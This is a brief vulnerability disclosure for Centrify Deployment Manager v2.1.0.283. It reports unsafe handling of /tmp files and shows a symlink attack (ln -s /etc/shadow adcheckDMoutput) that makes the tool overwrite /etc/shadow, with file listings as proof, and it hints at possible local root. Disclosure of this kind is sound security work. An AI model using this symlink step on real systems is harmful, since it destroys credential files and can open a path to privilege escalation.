Centrify Deployment Manager v2.1.0.283

While at a training session for centrify, I noticed poor handling of files in 
/tmp. I was able to overwrite /etc/shadow with the contents of adcheckDMoutput.

I am sure there are more vulnerabilities to be exploit, maybe a local root - 
but being this is a training class I should probably focus.....

1 root root 187 Dec 3 14:18 engnew-cen.sh

# ln -s /etc/shadow adcheckDMoutput

After run:

# ls -l /etc/shadow
-r-------- 1 root root 3999 Dec 3 14:56 /etc/shadow

/etc/shadow has been overwritten with the contents of adcheckDMoutput.

I am also assuming the .210 appended to the end of files in /tmp is the major 
version number.
